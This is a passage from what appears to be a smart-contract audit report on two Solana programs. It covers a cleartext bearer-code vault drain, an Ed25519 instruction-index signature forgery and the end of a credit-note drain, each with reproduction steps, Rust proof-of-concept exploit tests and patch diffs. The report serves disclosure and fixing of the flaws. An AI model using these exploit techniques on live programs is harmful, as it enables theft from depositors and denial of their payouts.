    assert!(
        attacker_after > attacker_deposit,
        "net theft: payout {attacker_after} >> the attacker's {attacker_deposit}-unit deposit \
         -- the surplus {victim_v} is pure victim funds"
    );

    println!(
        "L2-02 EXPLOITED: parked 1 micro-USDC, minted an UNBOUND credit note via \
         claim_credit_v3 (no value binding), and cash_out_v3 drained {drain_amount} micro-USDC \
         (incl. {victim_v} victim funds) from the shared pool vault to the attacker -- {}x the \
         contribution.",
        drain_amount / attacker_deposit.max(1)
    );
}
```

```rust
/// Poseidon2 (BN254X5, big-endian) of two all-zero field elements, as the program
/// computes it for the bearer-shape `public_address = poseidon_hash_pair([0;32],
/// slot_to_field_be(0))` when `release_slot = 0` (pool lib.rs:1515-1516, 3300-3308;
/// slot_to_field_be(0) == [0u8;32], lib.rs:3422-3426). Both inputs are 32 zero
/// bytes; this is a fixed BN254X5 curve constant independent of any key. Computed
/// with the SAME engine the program uses (`solana_poseidon::hashv(Bn254X5,
/// BigEndian, [&[0;32], &[0;32]])`, == light-poseidon Bn254X5), so the on-chain
/// `public_address == bearer_expected` check (lib.rs:1521-1524) passes.
const POSEIDON2_ZERO_ZERO_BE: [u8; 32] = [
    0x20, 0x98, 0xf5, 0xfb, 0x9e, 0x23, 0x9e, 0xab,
    0x3c, 0xea, 0xc3, 0xf2, 0x7b, 0x81, 0xe4, 0x81,
    0xdc, 0x31, 0x24, 0xd5, 0x5f, 0xfe, 0xd5, 0x23,
    0xa8, 0x39, 0xee, 0x84, 0x46, 0xb6, 0x48, 0x64,
];

// full runnable harness: l5/L2-02_credit_value_unbound/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-private-pool-v2/src/lib.rs
+++ b/solana-private-pool-v2/src/lib.rs
@@ -103,4 +103,23 @@
     let msg_size = u16::from_le_bytes([data[12], data[13]]) as usize;

+    // FIX F04: validate the precompile's three `*_instruction_index`
+    // descriptor fields. The precompile only cryptographically verifies
+    // the pubkey/signature/message of the instruction each index points
+    // at; when an index ≠ 0xFFFF the runtime resolves those bytes from a
+    // DIFFERENT referenced instruction, while this helper still reads ix0's
+    // OWN inline bytes at pk_offset/msg_offset. Without this check an
+    // attacker points the indices at a self-consistent carrier ix (their
+    // own junk sig, or a harvested victim sig over an unrelated message)
+    // and makes the helper return a signer for a message that signer never
+    // signed. Require all three to equal the 0xFFFF self-reference sentinel
+    // so the bytes the precompile verified ARE the bytes we read back.
+    let sig_ix_index = u16::from_le_bytes([data[4], data[5]]);
+    let pk_ix_index = u16::from_le_bytes([data[8], data[9]]);
+    let msg_ix_index = u16::from_le_bytes([data[14], data[15]]);
+    require!(
+        sig_ix_index == u16::MAX && pk_ix_index == u16::MAX && msg_ix_index == u16::MAX,
+        PrivatePoolV2Error::RelayedSigMalformed
+    );
+
     require!(
         data.len() >= sig_offset + 64
@@ -158,4 +177,14 @@
 const RELAYED_SCHEDULE_REGISTER_DOMAIN: &[u8] = b"relai-payout-schedule-register:v1:";
 const RELAYED_PERIOD_CANCEL_DOMAIN: &[u8] = b"relai-payout-period-cancel:v1:";
+// FIX F12: dedicated domain for the PER-PERIOD register signature. The
+// old period-register path replayed the schedule-register message (which
+// binds none of the per-period args), so any fee-payer could copy the
+// owner's public schedule-register Ed25519 instruction + the public salt
+// and squat a period with attacker-chosen `(commitment, release_slot)`.
+// The new message binds `schedule_id ++ period_index ++ commitment ++
+// release_slot ++ expires_at_slot` under THIS domain, so the owner's
+// schedule-register signature is no longer valid for period registration,
+// and each period's args are individually authorised by the owner.
+const RELAYED_PERIOD_REGISTER_DOMAIN: &[u8] = b"relai-payout-period-register:v1:";

 // Replay-window guard. The user signs `(domain, payload, expires_at_slot)`
@@ -240,4 +269,26 @@
         asp_authority: Pubkey,
     ) -> Result<()> {
+        // FIX F09: bind bootstrap to the program's upgrade authority so

... (diff truncated -- full patch in fix-program/programs/solana-private-pool-v2/src/lib.rs)
```

FINDING 03 / 15

CRITICAL F03 missing-authorization

Anyone who observes a vault's bearer code can drain it: redeem_vault authorizes on a cleartext code with no payee binding

INVARIANT redeem_vault is gated only by a cleartext on-chain code_bytes with no payee binding, so any observer front-runs and steals the locked USDC.

AFFECTED CODE

- `programs/solana-escrow/src/lib.rs:17-22` — `create_vault` accepts `code_bytes: [u8; 8]` as a plaintext instruction argument (the secret, in clear).
- `programs/solana-escrow/src/lib.rs:23` — `require!(amount > 0, ..)` is the only amount check, so a 1-unit "squat" vault is valid (relevant to the griefing facet below).
- `programs/solana-escrow/src/lib.rs:46-51` — `emit! VaultCreated { code_bytes, buyer, amount, valid_until }` re-publishes the secret in a publicly readable event.
- `programs/solana-escrow/src/lib.rs:58` — doc comment: "Permissionless — anyone who knows the `code_bytes` can call this."
- `programs/solana-escrow/src/lib.rs:61-108` — `redeem_vault` handler: gated only by `!redeemed` / `!cancelled` / `valid_until`; no caller/payee authentication; transfers `vault.amount` to `payee_ata` and closes the vault.
- `programs/solana-escrow/src/lib.rs:244` (and the matching `RedeemVault` seed at `:280`) — vault PDA `seeds = [b"vault", code_bytes.as_ref()]` only: no buyer/mint/nonce, so one PDA per code program-wide.
- `programs/solana-escrow/src/lib.rs:275` — `caller: Signer` is unconstrained (any wallet).
- `programs/solana-escrow/src/lib.rs:292-293` — `payee` is an `UncheckedAccount` with no identity tie.
- `programs/solana-escrow/src/lib.rs:296-301` — `payee_ata` constrained only to `associated_token::authority = payee`, i.e. to the attacker-chosen `payee`, never to the buyer or a registered merchant.

DESCRIPTION

The intended invariant (L2-13 / L2-01): only the intended merchant/payee should be able to collect a vault's USDC; possession of the redemption secret must not be sufficient for an arbitrary on-chain observer to redirect the funds. The redemption secret that solely authorizes a drain must stay confidential between buyer and the intended merchant.

This is violated three ways at once in `programs/solana-escrow/src/lib.rs` :

- **The secret is broadcast in cleartext.** `create_vault` takes `code_bytes: [u8; 8]` as a plaintext instruction argument (`src/lib.rs:17-22`), so it is visible in the raw transaction / mempool, and then re-emits it verbatim in a public event: `emit! VaultCreated { code_bytes, .. }` (`src/lib.rs:46-51`). Any RPC consumer can read it. (Notably, the sibling `solana-shielded-pool` deliberately omits the depositor from its event "since event logs are publicly readable from RPC" — this program does the opposite and leaks the bearer secret itself.)
- **The secret is the sole authorization, and it is also the sole PDA seed.** `redeem_vault` (`src/lib.rs:61-108`) checks only `!redeemed` , `!cancelled` , and `unix_timestamp ⩽ valid_until` . There is no merchant signature, no stored intended-payee, no commit-reveal, no hash of the code. The doc comment states the design plainly: "Permissionless — anyone who knows the `code_bytes` can call this." (`src/lib.rs:58`). The vault PDA is derived from `seeds = [b"vault", code_bytes.as_ref()]` only (`src/lib.rs:244` , `src/lib.rs:280`) — no buyer, mint, or nonce mixed in — so the secret is simultaneously the access credential and the public account address.
- **The payout destination is attacker-chosen.** In `RedeemVault` (`src/lib.rs:272-307`), `caller` is an unconstrained `Signer` (`src/lib.rs:275`), `payee` is an `UncheckedAccount` (`src/lib.rs:293`), and `payee_ata` is constrained only by `associated_token::authority = payee` (`src/lib.rs:296-301`) — i.e. tied to whatever wallet the caller names as `payee` , with no link to `vault.buyer` or any pre-registered merchant key. The handler transfers `vault.amount` from the vault ATA to that caller-chosen `payee_ata` and then closes the vault (`src/lib.rs:79-99`).

Net effect: the moment a vault is created its bearer secret is world-readable, and the redeem path lets anyone supply that secret plus their own token account to take the funds.

IMPACT

Who loses what: every buyer who funds a vault loses the full deposited amount to the first chain observer who redeems it. There is no privilege barrier — the attacker is any funded wallet, completely unrelated to the buyer or the intended merchant. Preconditions are only that the vault exists and is unredeemed/unexpired, and that the attacker has seen `code_bytes` — which is guaranteed because the code is in the plaintext `create_vault` transaction and re-emitted in the public `VaultCreated` event the instant the vault is created. The attacker also fully controls the payout account (`payee_ata`), so the stolen funds land in their own wallet. The merchant is locked out (`AlreadyRedeemed`) once the attacker redeems. The same theft applies to any out-of-band leak of the code (QR, payment link, log).

The L2-31 facet is lower severity: it does not steal funds but denies service — an attacker can render any guessable/observed code unusable for its intended buyer, and lock the buyer out of that code.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crate `l5/L2-13_bearer` (mirrored as `l5/L2-01_bearer_cleartext` — same root cause, L2-01 == L2-13), run against the real built `solana_escrow.so` in LiteSVM. The harness installs the exact post-`create_vault` on-chain state (a program-owned `VaultAccount` with `buyer = victim`, `code = "ABCD1234"`, `amount = 250_000_000`, not redeemed/cancelled, plus a vault ATA funded with 250 USDC) and then runs the real `redeem_vault` instruction as a completely unrelated attacker. The cleartext code is modeled by the constant — on real chain the attacker reads it from the plaintext `create_vault` ix or the `VaultCreated` event.

Attack steps (matching the harness, `l5/L2-13_bearer/src/lib.rs:148-176`):

- Attacker (a fresh keypair, unrelated to buyer or merchant) builds `redeem_vault(code = "ABCD1234")` with `caller = attacker`, `payee = attacker`, `payee_ata = attacker's own ATA`.
- The transaction is signed and sent by the attacker alone — no buyer or merchant signature.
- The program's only gate (the three status checks) passes; the vault ATA's full balance transfers to the attacker's ATA and the vault is closed.

Proven runtime result (green): the assertion `tok_amount(attacker_ata) == amount` holds and the merchant ATA stays at 0, with the test logging:

> `L2-13 EXPLOITED: unrelated attacker stole 250000000 USDC via the cleartext bearer code; merchant locked out.`

Because `redeem_vault` sets `redeemed = true` and closes the vault, the legitimate merchant's later redeem fails with `AlreadyRedeemed` — the funds are gone and the code is dead.

Low-severity griefing facet (`l5/L2-31_pdasquat`, runtime-proven green): because the PDA seed is `[b"vault", code_bytes]` only and `create_vault` uses plain `#[account(init …)]` (not `init_if_needed`), an attacker who front-runs the victim's `create_vault(code = C)` with a 1-µUSDC squat of the same code permanently bricks that code — the victim's legitimate `create_vault(C, big_amount)` then reverts on the init collision and only the squatter (stored as `vault.buyer`) can release it. The harness asserts the victim's `create_vault` reverts, the victim's USDC never moves, and the vault remains owned by the squatter, logging `L2-31 EXPLOITED: 1-µUSDC front-run squat on code "ABCD1234" bricks the victim's create_vault`.

(No ZK proof or stub verifier is involved in this finding — `solana-escrow` has no snark gate; the proofs above run the real, unmodified program logic end to end.)

RECOMMENDED FIX

Stop treating the cleartext code as the authorization, and bind the redeemer to a party the buyer designated. Concrete options:

- **Pre-register and require the merchant signature.** Have `create_vault` store an intended `merchant` (or `payee`) pubkey, and have `redeem_vault` require that the merchant (or a key they authorized) is a `Signer` and that `payee` / `payee_ata` match the stored merchant. Possession of the code alone must not move funds.
- **Commit-reveal so the code never appears in cleartext.** Store only `code_hash = hash(code_bytes, salt)` on-chain (and never emit the raw code in `VaultCreated` — drop `code_bytes` from the event, mirroring `solana-shielded-pool`). At redeem time require the redeemer to present the preimage together with a signature from the registered payee, so an observer of the landed transaction cannot replay it for their own `payee_ata`.
- **Bind `payee_ata` to the authorized recipient.** Constrain the destination via `associated_token::authority = <stored merchant>` (or `address = <stored merchant_ata>`), not to a caller-supplied `payee`, so funds can only reach the intended recipient even if the redeem call is relayed.

For the L2-31 griefing facet (distinct fix): mix the buyer (and/or a nonce/mint) into the PDA seed — e.g. `seeds = [b"vault", buyer.key().as_ref(), code_bytes.as_ref()]` — so an attacker cannot occupy another buyer's code slot, and the `init` collision is per-buyer rather than global.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-13 / L2-01 [Critical] - solana-escrow `redeem_vault` is a cleartext bearer code.
//!
//! WHAT THIS PROVES (against the REAL built solana_escrow.so, in LiteSVM):
//!   A funded vault (locked by buyer with secret `code_bytes`) is drained by a
//!   COMPLETELY UNRELATED attacker who calls the permissionless `redeem_vault(code)`
//!   with their OWN payee_ata. On real chain the attacker learns `code_bytes` from the
//!   plaintext ix arg / VaultCreated event; here we model "observation" by the constant.
//!
//! METHOD (DarkDrop-sanctioned): we install the exact post-create on-chain state via
//! set_account - a program-owned VaultAccount + a vault SPL token account holding the
//! funds - then run the REAL `redeem_vault` instruction as the attacker. The bug is
//! entirely in redeem_vault (no caller/payee auth), so installing the funded vault and
//! running the real vulnerable ix is a faithful end-to-end proof. No spl crate deps
//! (manual SPL Mint/TokenAccount byte layouts) - avoids the solana-program 2.2 skew.
//!
//! GROUND TRUTH (programs/solana-escrow/src/lib.rs @ HEAD e259188):
//!   program id        : 5DKRJkDtzpoYJjHdFC7QiatKAUqkjAHt2wurjoMJKmcJ
//!   vault PDA seeds   : [b"vault", code_bytes]                          (lib.rs:280)
//!   VaultAccount      : disc(8) buyer(32) code(8) amount(8) valid_until(8) bump(1)
//!                       redeemed(1) cancelled(1) = 67 (lib.rs:214-228)
//!   redeem_vault args : code_bytes:[u8;8]                               (lib.rs:61-64)
//!   RedeemVault accts : caller(signer,mut), vault(mut,close=caller), vault_ata(mut),
//!                       payee(unchecked), payee_ata(mut), usdc_mint, token_program,
//!                       associated_token_program, system_program        (lib.rs:270-307)
//!
//! RUN (WSL): ESCROW_SO=<repo>/target/deploy/solana_escrow.so cargo test -p poc-l2-13 -- --nocapture

#[test]
fn bearer_code_frontrun_steals_the_vault() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    let buyer = Keypair::new();
    let merchant = Keypair::new();
    let attacker = Keypair::new(); // UNRELATED to buyer/merchant
    svm.airdrop(&attacker.pubkey(), 5_000_000_000).unwrap();

    // ... account/SPL pre-state setup elided for brevity ...

    // -- EXPLOIT: attacker calls the permissionless redeem_vault(code) → own ata -
    let mut rdata = anchor_disc("global", "redeem_vault").to_vec();
    rdata.extend_from_slice(&code);
    let redeem_ix = Instruction {
        program_id: pid,
        accounts: vec![
            AccountMeta::new(attacker.pubkey(), true),          // caller = ATTACKER
            AccountMeta::new(vault_pda, false),                 // vault (close = caller)
            AccountMeta::new(vault_ata, false),                 // vault_ata
            AccountMeta::new_readonly(attacker.pubkey(), false), // payee = ATTACKER
            AccountMeta::new(attacker_ata, false),              // payee_ata = ATTACKER's
            AccountMeta::new_readonly(mint, false),             // usdc_mint
            AccountMeta::new_readonly(token_program(), false),
            AccountMeta::new_readonly(ata_program(), false),
            AccountMeta::new_readonly(system_program::ID, false),
        ],
        data: rdata,
    };
```

```
    let bh = svm.latest_blockhash();
    let tx = Transaction::new_signed_with_payer(&[redeem_ix], Some(&attacker.pubkey()), &[&attacker], bh);
    let res = svm.send_transaction(tx);
    assert!(res.is_ok(), "attacker redeem_vault must SUCCEED (THE BUG): {:?}", res.err());

    // -- PROOF OF THEFT ------------------------------------------------------
    assert_eq!(tok_amount(&svm, &attacker_ata), amount,
        "EXPLOIT: unrelated attacker drained the full {amount} USDC vault");
    assert_eq!(tok_amount(&svm, &merchant_ata), 0, "intended merchant got nothing");
    assert!(svm.get_account(&vault_pda).map_or(true, |a| a.data.is_empty() || a.lamports == 0),
        "vault closed by attacker - merchant can never redeem");

    println!("L2-13 EXPLOITED: unrelated attacker stole {amount} USDC via the cleartext bearer code; merchant locked
out.");
}

// full runnable harness: l5/L2-13_bearer/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-escrow/src/lib.rs
+++ b/solana-escrow/src/lib.rs
@@ -21,4 +21,7 @@
         valid_until: i64,
     ) -> Result<()> {
+        // FIX F03: the buyer designates the merchant who is allowed to redeem.
+        // Stored on the vault and enforced as a Signer at redeem time, so mere
+        // knowledge of `code_bytes` can no longer move funds.
         require!(amount > 0, EscrowError::InvalidAmount);
         let clock = Clock::get()?;
@@ -27,4 +30,6 @@
         let vault = &mut ctx.accounts.vault;
         vault.buyer      = ctx.accounts.buyer.key();
+        // FIX F03: bind the vault to the merchant the buyer chose at creation.
+        vault.merchant   = ctx.accounts.merchant.key();
         vault.code_bytes = code_bytes;
         vault.amount     = amount;
@@ -44,6 +49,9 @@
         token::transfer(cpi, amount)?;

+        // FIX F03: do NOT emit `code_bytes` - the event is world-readable and
+        // re-publishing the redemption secret defeats any confidentiality. Emit
+        // only the merchant/buyer/amount/expiry needed by indexers.
         emit!(VaultCreated {
-            code_bytes,
+            merchant:    vault.merchant,
             buyer:       vault.buyer,
             amount,
@@ -54,9 +62,10 @@
     }

-    /// Redeem a vault: transfer USDC from vault ATA → payee ATA.
+    /// Redeem a vault: transfer USDC from vault ATA → the designated merchant's ATA.
     ///
-    /// Permissionless - anyone who knows the `code_bytes` can call this.
-    /// Typically the relayer calls it on behalf of the merchant (sponsors gas).
-    /// The `payee` account receives the funds.
+    /// FIX F03: NO LONGER permissionless. The merchant the buyer designated at
+    /// `create_vault` must sign (`merchant: Signer`, pinned to `vault.merchant`),
+    /// and the `payee` is forced to be that merchant. A relayer may still pay gas
+    /// as `caller`, but knowledge of `code_bytes` alone no longer moves funds.
     pub fn redeem_vault(
         ctx: Context<RedeemVault>,
@@ -69,10 +78,28 @@
         require!(clock.unix_timestamp <= vault.valid_until, EscrowError::Expired);

+        // FIX F03: redemption is bound to the merchant the buyer designated, not
+        // to bare possession of `code_bytes`. The merchant must sign (enforced by
+        // the `Signer` + `address = vault.merchant` constraint on the `merchant`
```

```
+        // account in RedeemVault), and the payee must BE that merchant. A chain
+        // observer who only knows the cleartext code can no longer redirect funds
+        // to an attacker-chosen `payee_ata`.
... (diff truncated -- full patch in fix-program/programs/solana-escrow/src/lib.rs)
```

FINDING 04 / 15

HIGH F04 relayed-sig-forgery

Ed25519 relayed-signature forgery: the introspection helper never validates the precompile's instruction-index fields

INVARIANT verify_relayed_sig_extract_signer ignores the Ed25519 precompile instruction-index fields, letting a victim's signature over an unrelated message authorize an attacker-chosen relayed action.

AFFECTED CODE

- `programs/solana-private-pool-v2/src/lib.rs:78-126` — `verify_relayed_sig_extract_signer` : the introspection helper. Parses the precompile descriptor but reads only the offset fields.
- `:100-103` — reads `sig_offset` / `pk_offset` / `msg_offset` / `msg_size` from `data[2..4]` / `[6..8]` / `[10..12]` / `[12..14]` ; the *_instruction_index fields at `data[4..6]` / `[8..10]` / `[14..16]` are never read.
- `:117-121` — compares ix[0]'s inline message (`data[msg_offset..]`) to the expected canonical message; ix[0] inline bytes are attacker-controlled.
- `:124` — copies the trusted signer pubkey from ix[0]'s inline `data[pk_offset..pk_offset+32]` .
- `:56-63` — the doc comment that *documents* the three `*_instruction_index` fields the code then ignores.
- `:137-149` — `verify_relayed_sender_sig` (`#[allow(dead_code)]`): the A.6 wrapper that calls the same helper and therefore shares the identical flaw; it should be removed on the next deploy regardless.
- `:1758-1771` — `register_payout_schedule_relayed` : calls the helper then gates on `poseidon_commitment(signer_pk, salt) == schedule_owner_commitment` . Lets an attacker register a schedule whose owner commitment binds an arbitrary pubkey.
- `:1873-1881` — `register_payout_period_relayed` : same helper + same Poseidon owner-commitment gate.
- `:1960-1968` — `cancel_payout_period_relayed` : same helper + same gate; flipping a victim's active period to `CANCELLED` denies a scheduled cash-out.

DESCRIPTION

The relayed-instruction flow lets a fee-payer (relayer) submit a payout schedule/period action on behalf of a user who signed the canonical message off-chain. The user's Ed25519 signature is carried by an Ed25519 precompile instruction in the same transaction; the program reads back *who signed which message* and trusts that signer. The security invariant of this pattern is: **the pubkey and message the handler reads back from the Ed25519 precompile instruction MUST be the exact pubkey and message**

the precompile cryptographically verified. That equality holds only if the precompile's three `*_instruction_index` descriptor fields all reference the same instruction whose inline bytes the program reads (the `0xFFFF` self-reference sentinel).

`verify_relayed_sig_extract_signer` breaks the invariant by parsing only the precompile's *offset* fields and never its *instruction-index* fields:

- `programs/solana-private-pool-v2/src/lib.rs:100` — `sig_offset = u16::from_le_bytes([data[2], data[3]])`
- `:101` — `pk_offset = u16::from_le_bytes([data[6], data[7]])`
- `:102` — `msg_offset = u16::from_le_bytes([data[10], data[11]])`
- `:103` — `msg_size = u16::from_le_bytes([data[12], data[13]])`

It then reads the message at `data[msg_offset..msg_offset+msg_size]` (`:117`) and copies the signer pubkey out of `data[pk_offset..pk_offset+32]` (`:124`) — both indexed into **ix[0]'s own data**. The descriptor's `signature_instruction_index` (`data[4..6]`), `public_key_instruction_index` (`data[8..10]`) and `message_instruction_index` (`data[14..16]`) are never read or required to equal `0xFFFF` . Those three fields appear only in the layout doc comment at `:57` , `:60` , `:63` — there is no code that reads `data[4]` , `data[8]` , or `data[14]` .

The Solana Ed25519 precompile honors those index fields: when an index is not `0xFFFF` it resolves the pubkey/signature/message from the data buffer of the *referenced* instruction, not the descriptor's own. So an attacker (who builds the whole transaction) can point the index fields at a second, self-consistent precompile instruction carrying a pubkey/signature/message they control or have observed, while ix[0]'s own inline bytes at `pk_offset` / `msg_offset` hold a *different* pubkey + the program's expected canonical message. The runtime precompile passes (it verifies the referenced instruction's genuine signature); the helper reads ix[0]'s inline bytes and returns a signer for a message that signer never signed.

The downstream callers then trust that extracted signer via a Poseidon owner-commitment check — e.g. `cancel_payout_period_relayed` at `:1964-1968` computes `derived_owner = poseidon_commitment(signer_pk, salt)` and requires it equals `schedule.schedule_owner_commitment` . Because the attacker chooses `salt` (a public instruction arg) and re-derives the commitment host-side, this check passes for whatever pubkey the helper was tricked into returning.

IMPACT

Any wallet that can pay transaction fees can act on behalf of an arbitrary victim on every relayed entry point, without holding the victim's key:

- **Denial of scheduled payouts (proven):** flip a victim's active `PayoutPeriodAccount` to `CANCELLED` (`cancel_payout_period_relayed`), denying the recipient's scheduled cash-out for that period.
- **Forged schedule/period ownership (proven):** register a `PayoutScheduleAccount` / `PayoutPeriodAccount` whose `schedule_owner_commitment` binds an attacker-chosen pubkey (`register_payout_schedule_relayed` /

`register_payout_period_relayed`), attributing schedules to identities the victim never authorized and squatting period PDAs.

Preconditions: the attacker constructs the whole transaction (always true for the relayer/fee-payer role, which has no allowlist gate). For the harvested-signature variant the attacker needs one genuine Ed25519 signature by the victim over *any* message of matching length (a wallet sign-in, a prior relayed tx, any dApp prompt); for the self-signed variant no victim signature is needed at all — the attacker signs junk with their own key. `salt` is a public instruction argument, not a secret, so the Poseidon owner-commitment gate provides no protection against a chosen signer. The amounts for each period are parked as bearer credit-pool leaves before these instructions run, so this is an availability/authorization break (denied or misattributed payouts), not a direct vault drain on this path.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Three runtime PoC crates exercise the bug end-to-end against the **real built** **`solana_private_pool_v2.so`** in LiteSVM. None requires any victim secret key; the relayed-sig path reaches no Groth16/verifier CPI, so these are faithful full-path proofs (the cancel/register handlers gate solely on the relayed sig + the Poseidon commitment + status flags). LiteSVM runs `tx.verify_precompiles` with all features enabled before the program executes — exactly as real Solana — so the precompile genuinely validates the carried signature with strict verification.

Two-instruction cross-reference forgery (**`l5/L2-15_ed25519_introspection`** **).** The attacker builds a 3-instruction tx:

- `ix[0]` = Ed25519 precompile whose three `*_instruction_index` fields are set to `1` (point at the carrier instruction), but whose inline bytes hold `victim_pk` at `pk_offset` and the exact canonical cancel message at `msg_offset`.
- `ix[1]` = a self-consistent Ed25519 precompile entry (indices = `0xFFFF`) verifying the **attacker's own** key over 64 junk bytes (`0xAB`) of the same length as the cancel message. This is the only signature the precompile truly checks.
- `ix[2]` = the real `cancel_payout_period_relayed`.

The precompile follows ix[0]'s index redirect and validates the attacker's genuine signature in ix[1]; the helper reads ix[0]'s inline region and returns `victim_pk` + the canonical cancel message; `Poseidon2(victim_pk, salt) == schedule_owner_commitment` holds. The victim's period flips `ACTIVE → CANCELLED`. Proven result quoted from the green test: *"L2-15 EXPLOITED: ed25519 introspection

ignores *_instruction_index — attacker forged victim_pk (no victim key held) and flipped the victim's ACTIVE payout period to CANCELLED; the precompile only ever validated the attacker's own signature over [N] junk bytes, never the cancel message."*

Harvested-victim-signature forgery (`l5/L2-24_ed25519_index`). Same primitive, but the only signature the precompile verifies is the **victim's real** signature over an *unrelated* message the attacker merely observed (`b"relai login nonce 0xDEADBEEF…"` , padded to the cancel-message length). The helper still reads ix[0]'s inline region and accepts `victim_pk` as the signer of the canonical cancel message. Proven result: *"L2-24 EXPLOITED: verify_relayed_sig_extract_signer ignores the Ed25519 precompile's *_instruction_index fields — the precompile cryptographically verified ONLY victim_pk over an UNRELATED login message … yet the helper read ix[0]'s inline region and accepted victim_pk as the signer of the canonical cancel message. The victim's ACTIVE payout period was flipped to CANCELLED."*

Forged schedule-owner registration (`l5/L2-16_relayed_sig_ixindex`). The same confusion on the *register* path: `ix[0]` 's indices point at `ix[2]` (a genuine victim signature over a 172-byte unrelated message), while ix[0]'s inline bytes hold `attacker_pk` + the canonical register message; the attacker sets `schedule_owner_commitment = Poseidon2(attacker_pk, salt)` . The schedule PDA is created, program-owned, with `data[40..72] == Poseidon2(attacker_pk, salt)` and `≠ Poseidon2(victim_pk, salt)` . Proven result: *"L2-16 EXPLOITED: … the precompile verified ONLY victim_pk over an unrelated 172-byte message … yet register_payout_schedule_relayed recorded a schedule whose owner commitment == Poseidon2(attacker_pk, salt). A forged schedule-owner authorization is now on-chain; the victim never signed the canonical message."*

A layout constraint to note (it is what makes the precompile *accept* rather than reject): the descriptor's single `message_data_size` is applied when reading the referenced instruction's buffer, so the carrier message must be the same length as the canonical message; a mismatch makes the precompile read past the buffer and reject the whole tx at the verifier stage. The PoCs pad accordingly.

RECOMMENDED FIX

Validate the precompile's three instruction-index fields in `verify_relayed_sig_extract_signer` before trusting any byte it reads back. After parsing the descriptor, require each `*_instruction_index` equals the self-reference sentinel so the bytes the precompile verified are provably the same bytes the helper reads:

```
let sig_ix_index = u16::from_le_bytes([data[4], data[5]]);
let pk_ix_index  = u16::from_le_bytes([data[8], data[9]]);
let msg_ix_index = u16::from_le_bytes([data[14], data[15]]);
require!(
    sig_ix_index == u16::MAX
        && pk_ix_index == u16::MAX
        && msg_ix_index == u16::MAX,
    PrivatePoolV2Error::RelayedSigMalformed
);
```

(`u16::MAX` is the `0xFFFF` "this instruction's data" sentinel the doc comment at `:57-63` already names. Equivalently, require each index to equal the precompile instruction's own resolved index.) This forces the pubkey, signature, and message the precompile cryptographically verified to be the exact inline bytes the

helper trusts, closing the cross-instruction redirect for all three callers at once. Also delete the dead `verify_relayed_sender_sig` wrapper (`:137-149`) so the flawed helper has no second, latent call site. As defense-in-depth, the helper should additionally reject any descriptor with `num_signatures ≠ 1` combined with extra precompile instructions whose indices reference it, and bind a per-action nonce into the canonical message (the period path currently re-verifies the schedule-register message, which compounds replay exposure tracked separately).

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-15 [High] - solana-private-pool-v2 Ed25519 relayed-sig introspection
//! ignores the `*_instruction_index` descriptor fields → forge any signer.
//!
//! WHAT THIS PROVES (against the REAL built solana_private_pool_v2.so, in LiteSVM):
//!   An attacker who holds NO victim secret key cancels a victim's ACTIVE payout
//!   period (`cancel_payout_period_relayed`). The attacker signs arbitrary bytes
//!   with his OWN ed25519 key in a carrier instruction; the relayed-sig helper is
//!   tricked into reading back the victim's pubkey + the canonical cancel message
//!   from a DIFFERENT inline region, so `Poseidon2(victim_pk, salt) ==
//!   schedule.schedule_owner_commitment` holds and the period flips ACTIVE→CANCELLED.
//!
//! THE BUG (programs/solana-private-pool-v2/src/lib.rs @ HEAD e259188, L78-126):
//!   `verify_relayed_sig_extract_signer` parses the Ed25519 precompile descriptor
//!   but reads ONLY the offset fields:
//!       sig_offset  = data[2..4]   pk_offset = data[6..8]
//!       msg_offset  = data[10..12] msg_size  = data[12..14]
//!   and indexes them into ix[0]'s OWN data. It NEVER validates the three
//!   `*_instruction_index` fields (data[4..6], data[8..10], data[14..16]) are
//!   0xFFFF (the precompile "self-reference into this instruction" sentinel). When
//!   those indices point at a SECOND ed25519 instruction, the runtime precompile
//!   pulls the pk/sig/message it cryptographically verifies from the OTHER ix -
//!   a different byte region than the helper trusts. So the precompile validates
//!   attacker_pk over attacker bytes (carrier ix), while the helper returns
//!   victim_pk + the canonical cancel message (inline ix[0]).
//!
//! METHOD (DarkDrop-sanctioned): we install the exact pre-state via set_account -

#[test]
fn ed25519_introspection_forgery_cancels_victim_period() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // -- Actors ------------------------------------------------------------
    let attacker = Keypair::new(); // pays + signs the tx; holds NO victim secret
    svm.airdrop(&attacker.pubkey(), 5_000_000_000).unwrap();
    // The attacker's OWN ed25519 key - the ONLY sig the precompile truly verifies.

    // ... account/SPL pre-state setup elided for brevity ...

    // -- Submit the 3-ix tx signed ONLY by the attacker ------------------------
    let bh = svm.latest_blockhash();
    let tx = Transaction::new_signed_with_payer(
        &[ix0, ix1, cancel_ix],
        Some(&attacker.pubkey()),
        &[&attacker],
        bh,
    );
    let res = svm.send_transaction(tx);
    assert!(
        res.is_ok(),
        "forged cancel must SUCCEED (THE BUG): precompile validated the attacker's \
         own sig in the carrier ix while the helper read victim_pk inline: {:?}",
        res.err()
    );

    // -- PROOF: the victim's ACTIVE period was flipped to CANCELLED by an attacker
    //    who never possessed the victim's secret key ---------------------------
```

```
    assert_eq!(
        period_status(&svm, &period_pda),
        PAYOUT_PERIOD_STATUS_CANCELLED,
        "EXPLOIT: attacker cancelled the victim's period via ed25519 index-field forgery"
    );

    println!(
        "L2-15 EXPLOITED: ed25519 introspection ignores *_instruction_index - attacker \
         forged victim_pk (no victim key held) and flipped the victim's ACTIVE payout \
         period to CANCELLED; the precompile only ever validated the attacker's own \
         signature over {} junk bytes, never the cancel message.",
        attacker_msg.len()
    );
}

// full runnable harness: l5/L2-15_ed25519_introspection/src/lib.rs
```

